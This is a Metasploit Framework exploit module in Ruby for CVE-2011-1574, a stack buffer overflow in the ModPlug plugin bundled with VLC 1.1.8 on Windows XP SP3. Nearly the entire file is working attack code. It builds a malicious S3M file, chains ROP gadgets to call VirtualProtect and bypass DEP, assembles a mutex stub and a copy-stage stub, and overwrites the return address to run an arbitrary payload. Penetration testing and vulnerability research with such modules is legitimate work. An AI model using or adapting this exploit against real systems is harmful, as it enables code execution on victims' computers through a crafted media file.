##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'VideoLAN VLC ModPlug ReadS3M Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits an input validation error in libmod_plugin as
				included with VideoLAN VLC 1.1.8. All versions prior to version 1.1.9
				are affected. By creating a malicious S3M file, a remote attacker
				could execute arbitrary code.

				Although other products that bundle libmodplug may be vulnerable, this
				module was only tested against VLC.

				NOTE: As of July 1st, 2010, VLC now calls SetProcessDEPPoly to
				permanently enable NX support on machines that support it. As such,
				this module is capable of bypassing DEP, but not ASLR.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'jduck' ],
			'References'     =>
				[
					[ 'CVE', '2011-1574' ],
					[ 'OSVDB', '72143' ],
					#[ 'BID', 'xxx' ],
					[ 'URL', 'http://modplug-xmms.git.sourceforge.net/git/gitweb.cgi?p=modplug-xmms/modplug-xmms;a=commitdiff;h=aecef259828a89bb00c2e6f78e89de7363b2237b' ],
					[ 'URL', 'http://hackipedia.org/File%20formats/Music/html/s3mformat.php' ],
					[ 'URL', 'https://www.sec-consult.com/files/20110407-0_libmodplug_stackoverflow.txt' ],
					[ 'URL', 'http://seclists.org/fulldisclosure/2011/Apr/113' ]
				],
			'Payload'        =>
				{
					'Space'		=> 512 - 0x24, # Space reserved for prepended mutex code
					#'DisableNops'	=> true,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'VLC 1.1.8 on Windows XP SP3',
						{
							# vuln is in libmod_plugin.dll, rop is custom to this module
						}
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Apr 07 2011', # "found: 2011-03-09"
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The file name.',  'msf.s3m']),
			], self.class)
	end

	def exploit

		num_orders = 0x14
		num_instru = 0x15
		num_patterns = 0x18

		hdr = "\x00" * 0x1c # song name (none)
		hdr << [
			0x1a,   # static byte
			0x10,   # ST3 module
			0x00,   # padding
			num_orders,
			num_instru,
			num_patterns,
			0x00,   # Flags
			0x1320, # Created with (which tracker)
			0x02,   # File format information
		].pack('CCvvvvvvv')
		hdr << "SCRM"

		hdr << [
			0x40, # global volume
			0x06, # initial speed
			0x8a, # initial tempo
			0xb0, # master volume
			0x10, # ultra click removal
			0xfb  # NOTE, non-0xfc value skips an additional loop!
			# 0xfc == default channel pan positions present
		].pack('CCCCCC')
		hdr << "\x00" * 10  # includes pad and special pointer

		# channel settings (for 32 channels)
		hdr << "\x00\x08\x01\x09\x02\x0a\x03\x0b\x04\x0c\x05\x0d\x06\x0e\x07\x0f"
		hdr << "\xff" * 16

		# orders
		hdr << "\x07\x08\x0c\x09\x0a\x0b\x0b\x0d\x0e\x0f\x0f\x0f\x10\x11\x12\x13"
		hdr << "\x14\x16\x17\xff"

		# parapointers to instruments
		hdr << [ 0x0f ].pack('v') * num_instru

		# parapoitners to patterns
		hdr << [ 0x78 ].pack('v') * num_patterns

		# channel default pan positions
		hdr << "\x00" * 32

		# instruments
		instru = "\x01metasplo.ity"
		rest = "\x00" * ((0x50 * num_instru) - instru.length)

		# Build the rop stack
		rvas = rvas_libmod_plugin_xpsp3()
		rop = generate_rop(rvas)
		zero_ptr = rva2addr(rvas, 'Scratch') + 4
		mutex_addr = rva2addr(rvas, 'Scratch') + 8
		imp_Sleep = rva2addr(rvas, 'imp_Sleep')

		# A mutex to prevent double payloads
		locking_code = <<-EOS
	mov ebx, [ #{imp_Sleep} ]
	jmp test_lock

sleep:
	push 0xdeadbeef
	call ebx

test_lock:
	mov eax, [ #{mutex_addr} ]
	test eax,eax
	jnz sleep

	lock cmpxchg [ #{mutex_addr} ], ebp
	test eax,eax
	jnz sleep

EOS
		rop << Metasm::Shellcode.assemble(Metasm::Ia32.new, locking_code).encode_string
		rop << payload.encoded

		# This becomes the new EIP (after return)
		ret = rva2addr(rvas, 'pop eax / ret')
		rest[1267, 4] = [ ret ].pack('V')

		# In order to force return, we smash the this ptr on the stack and point
		# it so that m_nChannels turns out to be 0.
		rest[1271, 4] = [ zero_ptr - 0xe910 ].pack('V')

		# Add the ROP stack and final payload here
		rest[1275, rop.length] = rop
		instru << rest

		# patterns
		patt = [ 0x10 ].pack('v')
		patt << "\x00" * 0x10


		# finalize the file
		s3m = ""
		s3m << hdr

		instru_pad = (0x0f * 0x10) - hdr.length
		s3m << "\x80" * instru_pad
		s3m << instru


		# patch in exploit trigger values
		s3m[0x22, 2] = [ 0x220 ].pack('v')
		s3m[0x24, 2] = [ 0x220 ].pack('v')


		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(s3m)

	end

	def rvas_libmod_plugin_xpsp3()
		# libmod_plugin.dll from VLC 1.1.8 (Win32)
		# Just return this hash
		{
			# Used as 'Ret' for target
			'ret'                    => 0x1022,
			'push eax / ret'         => 0x1cc4d,
			'pop eax / ret'          => 0x598a2,
			'mov eax, [eax+0x1c] / ret' => 0x542c9,
			'pop ebx / pop ebp / ret' => 0x25e2f,
			'add eax, 4 / pop ebp / ret' => 0x7028,
			'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret' => 0x23dad,
			'sub eax, ebx / pop ebx / pop edi / pop ebp / ret' => 0x7d64,
		}
	end

	def generate_rop(rvas)
		# ROP fun! (XP SP3 English, Apr 10 2011)
		rvas.merge!({
			# Instructions / Name    => RVA
			'BaseAddress'            => 0x653c0000,
			'imp_VirtualProtect'     => 0xec2f0 - 0x1c,  # adjust for gadget used to resolve
			'imp_Sleep'              => 0xec2dc,
			'Scratch'                => 0x5fbfc,
			'Data'                   => 0x60101,
			#'DataAdjusted'           => 0x60000 - 0x58 + 0x8,
			'DataAdjusted'           => 0x60000 - 0x58,
		})

		copy_stage = <<-EOS
	nop
	push esp
	pop esi
	lea edi, [eax+0x10]
	push 0x7f
	pop ecx
	inc ecx
	rep movsd
EOS
		copy_stage = Metasm::Shellcode.assemble(Metasm::Ia32.new, copy_stage).encode_string
		if (copy_stage.length % 4) > 0
			fail_with(Exploit::Failure::Unknown, "The copy stage is invalid")
		end

		rop_stack = [
			# Resolve VirtualProtect
			'pop eax / ret',
			'imp_VirtualProtect',
			'mov eax, [eax+0x1c] / ret',

			# Call VirtuaProtect
			'push eax / ret',
			'pop eax / ret',   # after VirtualProtect
			# Args to VirtualProtect
			'Data',      # lpAddress (place holder, filled in @ runtime above)
			0x1000,      # dwSize
			0x40,        # flNewProtect
			'Scratch',   # lpflOldProtect

			# Load the pre-adjusted Data addr
			'DataAdjusted', # matches pop eax / ret above

			##
			# Write our code little stager to our newly executable memory.
			##

			# Load the last 32-bits of code to write
			'pop ebx / pop ebp / ret',
			copy_stage[0, 4].unpack('V').first,
			:unused, # ebp

			# Write & advance
			'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret',
			copy_stage[4, 4].unpack('V').first,
			:unused, # esi
			:unused, # edi
			:unused, # ebp
			'add eax, 4 / pop ebp / ret',
			:unused, # ebp

			# Write & advance
			'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret',
			copy_stage[8, 4].unpack('V').first,
			:unused, # esi
			:unused, # edi
			:unused, # ebp
			'add eax, 4 / pop ebp / ret',
			:unused, # ebp

			# Write & advance
			'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret',
			0xffffffb0,  # adjustment value
			:unused, # esi
			:unused, # edi
			:unused, # ebp

			# Adjust eax
			'sub eax, ebx / pop ebx / pop edi / pop ebp / ret',
			:unused, # ebx
			:unused, # edi
			:unused, # ebp

			# Execute the copy stage
			'push eax / ret',
		]

		rop_stack.map! { |e|
			if e.kind_of? String
				# Meta-replace (RVA)
				fail_with(Exploit::Failure::Unknown, "Unable to locate key: \"#{e}\"") if not rvas[e]
				rvas['BaseAddress'] + rvas[e]

			elsif e == :unused
				# Randomize
				rand_text(4).unpack('V').first

			else
				# Literal
				e
			end
		}

		rop_stack.pack('V*')
	end

	def rva2addr(rvas, key)
		fail_with(Exploit::Failure::Unknown, "Unable to locate key: \"#{key}\"") if not rvas[key]
		rvas['BaseAddress'] + rvas[key]
	end

end
